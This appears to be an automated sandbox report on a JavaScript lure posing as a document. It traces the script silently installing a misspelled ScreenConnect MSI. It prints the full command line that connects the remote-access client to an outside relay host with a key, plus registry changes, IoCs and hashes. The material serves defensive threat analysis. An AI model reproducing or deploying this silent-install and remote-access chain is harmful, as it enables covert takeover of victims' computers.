Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 12:19
Static task
static1
Behavioral task
behavioral1
Sample
Docs-20260831114233550.js
Resource
win10v2004-20260513-en
windows10-2004-x64
15 signatures
150 seconds
General
- Target Docs-20260831114233550.js
- Size 3.1MB
- Sample260831-phkhjsgc57
- SHA256 5c3db07d4f857e6c3a7d0ff7f513bbc099a2b31422cf695599672a8b8e538d83
- MD5 474436ca5f9c6c765d18be7b51c35a4b
- SHA1 daa73f93e0ba46bb5590f088b2ee83b949d066a5
- SHA512 da813722250b00ff770cbf24d56fdd7cfc64b202aae6f6feb88a6696c7cf452aa7a6efef1c4dd0fe97113e0b3096684cce463018c6e43382cdf51cc867d96c67
- SSDEEP 24576:NBrt/B7bF/ylFk3Myos1sUoeAIyFA4Wc2Qkrhs2u5BaHvse1EqoOww6WHtlusXB5:wn2mnr1HaFnb6YPBtzg9HWS9l9InONlQ
- TLSH T126E5124406124AB22264E45A0FEF5E37B361C71E1878F719FAD4FA05361C3AA3DD6D8E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes dropped EXE 3 IoCs
pid Process 2364 ScreenConnect.ClientService.exe 124 ScreenConnect.WindowsClient.exe 2472 ScreenConnect.WindowsClient.exe - Loads dropped DLL 25 IoCs
pid Process 4632 MsiExec.exe 3828 rundll32.exe 3828 rundll32.exe 3828 rundll32.exe 3828 rundll32.exe 3828 rundll32.exe 3828 rundll32.exe 3828 rundll32.exe 4632 MsiExec.exe 4632 MsiExec.exe 4632 MsiExec.exe 3804 MsiExec.exe 3804 MsiExec.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe - Drops file in Program Files directory 15 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Core.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.pdb msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe msiexec.exe - Drops file in Windows directory 25 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIA6B6.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIA6B6.tmp-\ScreenConnect.Core.dll rundll32.exe File created C:\Windows\SystemTemp\~DFA1D0A2FB0DE30722.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIAD32.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFAE931312991DC7D3.TMP msiexec.exe File created C:\Windows\Installer\e59a4e1.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{C447D87D-DE32-4186-AF8A-C2864B4629A4} msiexec.exe File created C:\Windows\Installer\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e59a4e1.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIA6B6.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\MSIAC64.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAE2D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAE9B.tmp msiexec.exe File created C:\Windows\Installer\e59a4e5.msi msiexec.exe File opened for modification C:\Windows\Installer\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF432E4E268BEBCD34.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIA6B6.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF0257FCE69B0D156A.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIAC75.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAD12.tmp msiexec.exe File created C:\Windows\Installer\wix{C447D87D-DE32-4186-AF8A-C2864B4629A4}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\MSIA6B6.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections ScreenConnect.ClientService.exe - Modifies registry class 32 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\ProductIcon = "C:\\Windows\\Installer\\{C447D87D-DE32-4186-AF8A-C2864B4629A4}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\PackageName = "ScreemConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D78D744C23ED6814FAA82C68B464924A\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D78D744C23ED6814FAA82C68B464924A msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\UseOriginalUrlEncoding = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\DeploymentFlags = "3" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\34F0136E0E5881F18A38422140BDA1C2\D78D744C23ED6814FAA82C68B464924A msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-a883241204db1a2c\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (a883241204db1a2c)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\ProductName = "ScreenConnect Client (a883241204db1a2c)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\PackageCode = "932BEFD17B3906A4397389F1FE826B58" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\Version = "336266244" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D78D744C23ED6814FAA82C68B464924A\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-a883241204db1a2c msiexec.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1672 msiexec.exe 1672 msiexec.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe 2364 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4788 msiexec.exe Token: SeIncreaseQuotaPrivilege 4788 msiexec.exe Token: SeSecurityPrivilege 1672 msiexec.exe Token: SeCreateTokenPrivilege 4788 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4788 msiexec.exe Token: SeLockMemoryPrivilege 4788 msiexec.exe Token: SeIncreaseQuotaPrivilege 4788 msiexec.exe Token: SeMachineAccountPrivilege 4788 msiexec.exe Token: SeTcbPrivilege 4788 msiexec.exe Token: SeSecurityPrivilege 4788 msiexec.exe Token: SeTakeOwnershipPrivilege 4788 msiexec.exe Token: SeLoadDriverPrivilege 4788 msiexec.exe Token: SeSystemProfilePrivilege 4788 msiexec.exe Token: SeSystemtimePrivilege 4788 msiexec.exe Token: SeProfSingleProcessPrivilege 4788 msiexec.exe Token: SeIncBasePriorityPrivilege 4788 msiexec.exe Token: SeCreatePagefilePrivilege 4788 msiexec.exe Token: SeCreatePermanentPrivilege 4788 msiexec.exe Token: SeBackupPrivilege 4788 msiexec.exe Token: SeRestorePrivilege 4788 msiexec.exe Token: SeShutdownPrivilege 4788 msiexec.exe Token: SeDebugPrivilege 4788 msiexec.exe Token: SeAuditPrivilege 4788 msiexec.exe Token: SeSystemEnvironmentPrivilege 4788 msiexec.exe Token: SeChangeNotifyPrivilege 4788 msiexec.exe Token: SeRemoteShutdownPrivilege 4788 msiexec.exe Token: SeUndockPrivilege 4788 msiexec.exe Token: SeSyncAgentPrivilege 4788 msiexec.exe Token: SeEnableDelegationPrivilege 4788 msiexec.exe Token: SeManageVolumePrivilege 4788 msiexec.exe Token: SeImpersonatePrivilege 4788 msiexec.exe Token: SeCreateGlobalPrivilege 4788 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeShutdownPrivilege 3804 MsiExec.exe Token: SeDebugPrivilege 2364 ScreenConnect.ClientService.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe Token: SeRestorePrivilege 1672 msiexec.exe Token: SeTakeOwnershipPrivilege 1672 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4788 msiexec.exe 1672 msiexec.exe 4632 MsiExec.exe 3804 MsiExec.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3336 wrote to memory of 4788 3336 wscript.exe 88 PID 1672 wrote to memory of 4632 1672 msiexec.exe 90 PID 4632 wrote to memory of 3828 4632 MsiExec.exe 91 PID 1672 wrote to memory of 3804 1672 msiexec.exe 92 PID 2364 wrote to memory of 124 2364 ScreenConnect.ClientService.exe 94 PID 2364 wrote to memory of 2472 2364 ScreenConnect.ClientService.exe 95
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260831114233550.js1⤵
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi" /qn /norestart2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4788
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FABD2C42B7134F29CCD57FCFAC4674392⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIA6B6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240756765 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:3828
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5BDEEA1352900E7AF05C92C5ACE83CCA E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3804
-
-
C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=vca.org.in&p=8041&s=7f689171-7393-4b8b-8924-93630e682929&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm&t=&c=&c=&c=&c=&c=&c=&c=&c="1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "f08cee1f-779c-41ea-aad7-ff40db8001eb" "User"2⤵
- Executes dropped EXE
PID:124
-
-
C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "fdb49767-1b0c-4e4f-a411-e457d268dd84" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:2472
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59a4e4.rbs
- Size 212KB
- SHA256 8a8815822fca3c29020df3b618ad4124d83e4b9c4e745ae0ff0f2392b629abfc
- MD5 e64e9ca805f4d8a72d9ae33bbe73bed8
- SHA1 cb34b82e402d71e363739cf18453e4bb6da05ef8
- SHA512 d6f8c3ec3345439562c59e59274ae81ef8574e0a5fdd590185d7d69ab931d6a3b6b2dc379c6fc40fdcf7704c35e990ddf1c4e7c207e84de8eb07ed1b54e99a1d
- SSDEEP 3072:Wo9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGT:WouH2aCGw1ST1wQLdqvT
- TLSH T179248C227480807EE7FA1A32D93E9A71BE7DF6241760C59EC3848C1E5D604C16BF6B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources
- Size 39KB
- SHA256 f9c327d646ab427270918b07fa11a1375fc4cd003b394e057548c098151c37e2
- MD5 0ffc219c44c800d6213b6c9f7221df35
- SHA1 21e59ec923b8c697dacf83fa8e8a2fd5d6308214
- SHA512 96e0179a99f4225cd46a9e459ef6bf2b34ed1d959751bdfac5977f6ffd0b6718867064202535bab91289233fd9fabed2b3b5c7c221b359d4a7bcfcc25990fcbb
- SSDEEP 768:0HmXO7CXQ2+ePdAlABzYbUUYh8F4K9Tw/LohjKR1OvM8ZErWIri:mmX5Q2+ePdA6BzYbUUYh8F4K9Tw/Lohh
- TLSH T10F031E1277FD0A58F5F36F06BE7A94619D37BD562E25C06E1028415E1AB2F80C9B2373
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources
- Size 2KB
- SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
- MD5 0b47901f2c782922f034fba8e8062916
- SHA1 893075f8ca04f92dbef7f6e81223e1b08e29328f
- SHA512 b3db1c4ffed1dbaef5e03f4819bcba5f0a6864c26123e059b6a649911adbd380ae3aa1eb63c2397ea1ea5fc61103468b5db838080d7c7d5de848b5002c31cbd6
- TLSH T1B34103CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B213099880B33
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll
- Size 153KB
- SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
- MD5 e5a9cedfca2f0071e26610e7a505cc4f
- SHA1 3f845a06d02a712707b503223ef69a72de655fd1
- SHA512 f9e81278b94964103e0b65ea8f781bc5f1d7e1501ee98032ab7aff69cbbbc271d323d6900b61007fddbc6242cef07dcc64342c178be8a38313df673ea8068b6c
- SSDEEP 3072:JsURiZnZrKR91EFocIgglCfUKMrz6D2Na5DOoABi87fJ6fRM:JsjIjcyoD2cDgM878
- TLSH T1ABE39EBB63A45D79C58F8A37B06201309FB196416233F75F5A24F8FA6D237C046582E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll
- Size 32KB
- SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
- MD5 2ab89617eac8dddf0af371d30f813937
- SHA1 7eb3b9afa84e85798f6b688560f371431e273821
- SHA512 cb9b263ef129eb13e13ed0b13c46baa13733dd6da3a3aa2d35eb0635953a89a516707586d0c0ffc5d3410defcc8c2b11af3a8e93bf063ec6163d679fb6c0f106
- SSDEEP 768:HFiY04W7D3ZsvFBDX5qxlNigvt6Ex9x2yCOb/:lupstBbYlsAt6EcJOb/
- TLSH T15FE2294553B84B32C4EE4B7CB866B14407B09E826562F69C8EC9E0DF1E673814E457EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
- Size 88KB
- SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
- MD5 5b9410ffcc24eb553593da53c3c8c77f
- SHA1 df1cd2b628ac44d41584727f32473cc06f93e271
- SHA512 402de2ec3704e936122f7d789f11a49f5cefbc08959b08c0789f07dd5ad5cb0d912882674d6675a6d515f0e2976eaa43f28c050a0808f04a11c0a109861bcea4
- SSDEEP 1536:TVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAitMw8NP8:T8wt7TvmbLLyXOWAitMW
- TLSH T196939E22B6D19432E5B3063258B8DE410B7EFE278F7199977788024E5A742C09F39B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll
- Size 1.7MB
- SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
- MD5 0b55f9a8ccff2a90bd1a042f963ac19a
- SHA1 19beb65c14ee627b14b2c0144ab066a7c4ec5d79
- SHA512 5c7c9bb901f44e6894657b0bbe1bf28fd929aad1d364edfa782ac7544236af2e663a6d41620fc0c537dd69aaf3f23a5f4b864350f90bc95c1a73eb5c392f21a9
- SSDEEP 24576:nEl2drimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wCK:nEii963PSumT0+TFiH7efPp3Z0
- TLSH T15B85AE42F2D211F5D4AB443888BE571BEB747C090360CBAF97D46E666E337D09A3A352
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
- Size 575KB
- SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
- MD5 751c0c5eb4122412f182d73051e31f06
- SHA1 6c63fad44bd8193eb71ccd768f99d62b23d46c00
- SHA512 5058a503d9943152cee0f4d52fe049d57c744a58aa54b6136ec1ee73d094ae42023ffb2efcd47e6d6ab47970b314d98618eee76418479298b31fc7d1c8f3b034
